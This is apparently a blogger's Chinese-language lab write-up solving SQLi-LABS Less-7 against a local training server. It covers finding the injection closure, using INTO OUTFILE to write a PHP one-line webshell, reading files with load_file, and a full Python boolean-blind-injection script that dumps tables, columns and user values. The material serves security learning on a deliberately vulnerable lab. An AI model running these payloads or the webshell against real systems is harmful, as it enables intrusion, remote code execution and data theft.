SQLi-LABS Less-7 Dump into Outfile
1.判断闭合
首先先判断一下这道题的闭合字符
双引号没报错,说明加一个双引号不会打乱sql语句,闭合字符中没有双引号。
单引号提示错误,可能就是单引号了,那么尝试加入–+隔断后面字符,若没报错了就可以确定闭合字符了。
还是报错,那么闭合字符不仅仅是单引号,不过单引号既然能打乱sql语句,说明闭合字符中有单引号。
一个单引号一个右括号,报错了,尝试加入–+进行隔断。
还是报错,说明还不对,那再加一个右括号。
尝试隔断。
隔断后没有报错,说明闭合字符找到了,就是 '))
。
2.注入
与前面几题不同的是,这道题在You are in…后面还出现了 Use outfile的提示,那么,这个outfile是个什么呢?
2.1 file系列函数的使用
参考原文链接:https://blog.csdn.net/weixin_43901998/article/details/105253159
在利用sql注入漏洞后期,最常用的就是通过mysql的file系列函数来进行读取敏感文件或者写入webshell,其中比较常用的函数有以下三个:
- into outfile :将文本写入目标网站
- into dumpfile
- load_file : 读出目标网站中指定目录下的文件。
因为涉及到在别人的服务器执行写入的操作,因此这里会有一个参数secure_file_priv
会限制以上三个函数的作用。
secure_file_priv
有三种情况:
- 空,表示对导入导出无限制。
- 有指定目录(secure-file-priv=“xxx/xxx/xxx”): 只能向指定目录导入或导出。
- null, 禁止导入导出。
2.1.1 outfile的使用
这是一个使用了outfile的sql语句
sql select database(),user(),@@datadir into outfile 'SQLoutput.txt
这是它的执行结果
这道题中,我们需要使用这个命令,将需要知道的信息输出到文件中。(具体的获取该文本信息还需要利用其他的漏洞,比如文件读取漏洞)
我们来构造一个payload:
http://192.168.86.128/sqlit/Less-7/?id=1')) union select database(),user(),@@datadir into outfile 'SQLoutput.txt'--+
访问
成功写入
或者,我们可以通过outfile来写入webshell。
使用以下注入语句,可以将小马写入网站的任意文件夹下
?id=1')) union select 1,"<?php @eval($_POST[CMD]);?>",3 into outfile 'C:/phpStudy/upload-labs-env/WWW/Pass-01/webshell.php'--+
这是执行前
执行后
出现了webshell.php,我们使用webshell管理工具来连接一下
可以成功连接。
2.1.2 load_file的使用
load_file()
用来读取目标网站中的文件信息。
我们直接读取刚刚传上去的webshell.php
(这里使用的是Less-1的网页)
使用的pyload:
?id=-1' union select 1, load_file("C:/phpStudy/upload-labs-env/WWW/Pass-01/webshell.php"), 3 --+
这是文件的内容,实际上,里面还有一句php一句话木马,在load_file输出时不知因为什么原因没有显示出来,留作后话吧。
2.2 使用布尔盲注解决本题
布尔盲注
#一个简易的获取数据库长度的布尔盲注(的一部分),若当前数据库的长度大于1 ,则会显示出正常值,反之则不显示。 ?id=1 and length(database())>1 #一个简易的获取数据库名的布尔盲注(的一部分),通过第一位到最后一位,挨个截取、对比数据库名的ascii 来实现。 ?id=1 and ascii(substr(database(),1,1))>1
布尔盲注原理:截取要获取的值得每一位,与字符的值作对比(一般是ASCII),若值正确(True),会显示出最前面(比如这道题中的id=1)的查询结果,否则(False)不会显示。布尔盲注主要用在没有报错信息的时候。
#盲注需要掌握的几个函数 length() #返回字符串的长度 substr() #截取字符串,语法substr(str,start,len),例如substr('abc',1,1)截取a ascii() #返回字符的ascii码,将字符变为数字 sleep() #将程序延时一段时间,如果使用网站的访问量过大,且全都延时100秒,数据库的资源被大量占用,服务器会崩溃 if(expr1,expr2,expr3) #判断语句,如果第一个语句正确就执行第二个语句,否则执行第三个语句
该题中没有返回的报错内容,而通过布尔盲注,可以很好地解出这道题。
需要使用到代码来挨个遍历ascii码,与截取的字符进行布尔运算(对比),以下是python代码。
(注意:我是在我的本地部署了sqli-labs靶场,所以不会有WAF、防火墙进行拦截,而如果您是在某些在线靶场,访问的是别人的服务器,那么由于防DDOS的策略,或许会导致ip被封禁。不建议在有类似防D策略的服务器上使用该脚本。)
# sql注入-盲注脚本
from array import array
import os
from time import sleep;
import requests;
url='http://192.168.86.128/sqlit/Less-7/?id=1\'))'#目标url
sign="You are in.."#成功标志
db_lens=0
database_name=''
tableName=''
columnName=''
value=''
requests.adapters.DEFAULT_RETRIES = 5
s = requests.session()
s.keep_alive = False
#状态码
r=requests.get(url+'--+')
print("status_code\t",r.status_code)
if r.status_code != 200:
print("[ERROR]连接不到目标url")
os.exit(0)
s = requests.session()
s.keep_alive = False
#数据库名长度
for i in range(10):
str_i=str(i)
sent_url=url+"and length(database())="+str_i+"--+"
r=requests.get(sent_url)
if sign in r.text:
print("database_len\t"+ str(i))
db_lens=i+1
break
print("发送的payload格式为:"+sent_url)#这个地方是为了方便我当时调试,会打印出发送的payload格式
#数据库名
#windows中数据库名不分大小写,所以只要有小写或大写其中一种就好
#wordlist="abcdefghijklmnopqrstuvwxyzABDEFGHIJKLMNOPQRSTUVWXYZ_0123456879"
wordlist="abcdefghijklmnopqrstuvwxyz_0123456879"
for i in range(1,db_lens):
sent_url_dbname=url+"and substr(database(),"+str(i)+",1)=\'"
for w in wordlist:
sent_url=sent_url_dbname+w+"\'--+"
r=requests.get(sent_url)
if sign in r.text:
database_name+=w
print("database_name\t"+database_name)
#表名
#因为group_concat函数会将字段连接在一起且用逗号分开,所以第一个字符用逗号
wordlist2=",abcdefghijklmnopqrstuvwxyz_0123456879"
for i in range(1,50):
sent_url_table=url+"and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),"+str(i)+",1)=\'"
for t in wordlist2:
sent_url=sent_url_table+t+"\'--+"
r=requests.get(sent_url)
if sign in r.text:
tableName+=t
break
print("table_name\t"+tableName)
#字段名
wordlist3=",abcdefghijklmnopqrstuvwxyz_0123456879"
for i in range(1,50):
sent_url_column=url+"and substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=\'users\'),"+str(i)+",1)=\'"
for c in wordlist3:
sent_url=sent_url_column+c+"\'--+"
r=requests.get(sent_url)
if sign in r.text:
columnName+=c
sleep(1)
break
print("column_name\t"+columnName)
#有几率报错或返回的值不完整,是因为发送数量和频率太高,目标服务器来不及回应。
wordlist4=",abcdefghijklmnopqrstuvwxyz0123456789=-_/\\."
ArrColumnName = columnName.split(',')
ArrCount=len(ArrColumnName)
for i in range(ArrCount):
for vc in range(1,100):
valueurl=url+"and substr((select group_concat("+ArrColumnName[i]+") from users )," +str(vc)+",1)=\'"
sleep(1)
for v in wordlist4:
valueurl1=valueurl+v+"\'"+"--+"
r=requests.get(valueurl1)
if sign in r.text:
value+=v
break
print("database ["+ArrColumnName[i]+']\t'+value)
value=''
运行效果:
为方便理解和节省时间,代码没有做更多的优化。
若不懂的地方请在评论区留言,我看到了就会回。